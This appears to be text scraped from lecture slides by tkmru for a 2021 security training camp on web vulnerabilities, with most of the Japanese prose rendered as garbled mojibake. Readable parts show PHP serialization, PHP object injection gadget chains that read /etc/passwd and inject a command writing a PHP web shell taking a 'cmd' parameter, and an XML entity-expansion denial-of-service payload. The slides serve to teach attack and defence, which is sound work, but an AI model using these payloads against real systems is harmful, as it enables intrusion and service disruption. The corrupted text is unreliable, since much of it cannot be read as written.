ެ։4όέοτΛɺϚϧΣΞΛࠐΜͩঢ়ଶͰ্ॻ͖͢Δ߈ܸऀ w ޡͬͯॻ͖ࠐΈΛڐՄ͞Ε͍ͯΔόέοτʹϚϧΣΞΛॻ͖ࠐΈ w IUUQTXXXNDBGFFDPNCMPHTFOUFSQSJTFDMPVETFDVSJUZNDBGFFEJTDPWFSTHIPTUXSJUFSBQFSWBTJWFBXTT NBOJOUIFNJEEMFFYQPTVSF
0; public function set_year($year){ $this->year = $year; } public function get_year(){ return $this->year; } } $object = new Seccamp(); $object->set_year(2021); echo serialize($object); w ࠨʹࣔ͢4FDDBNQΫϥεΛ ࡐʹղઆ͍ͯ͘͠ w ϝϯόมZFBSΛ࣋ͭ w TFU@ZFBSͱHFU@ZFBSͷͭ ͷϝιου͕͋Δ w TFU@ZFBSΛݺͼग़͠ Ληοτ͍ͯ͠Δ $ serialize-poc.php O:7:"Seccamp":1:{s:13:"Seccampyear";i:2021;}
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public function read() { $content = file_get_contents($this->path); echo $content; } } class Main { public $file = null; public function __destruct(){ $this->file->read(); } } $m = new Main(); $m->file=new Setting(); $m->file->path = "/etc/passwd"; echo serialize($m); ϖΠϩʔυΛੜ͢Δίʔυ
public function read() { system("cat " . $this->path); } } class Main { public $file = null; public function __destruct(){ $this->file->read(); } } $m = new Main(); $m->file=new Setting(); $m->file->path = 'config.json; echo \'<?php system($_GET["cmd"]);?>\' > a.php'; echo serialize($m); ϖΠϩʔυΛੜ͢Δίʔυ
version="1.0"?> <!DOCTYPE DoS [ <!ENTITY x "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(লུ)"> ]> <DoS>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;(লུ)</DoS> 9.-ϑΝΠϧྫ
tkmru
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![ԋश0CKFDU*OKFDUJPOʢʣ w ࣍ͷίϚϯυΛೖྗ͢Δͱ%PDLFSίϯςφ্ཱ͕͕ͪΓ·͢ $ git clone [email protected]:tkmru/seccamp2021-b5.git $ cd](https://files.speakerdeck.com/presentations/5e7e905a2447435a9da09b5299ceb72b/slide_67.jpg){kind=link}
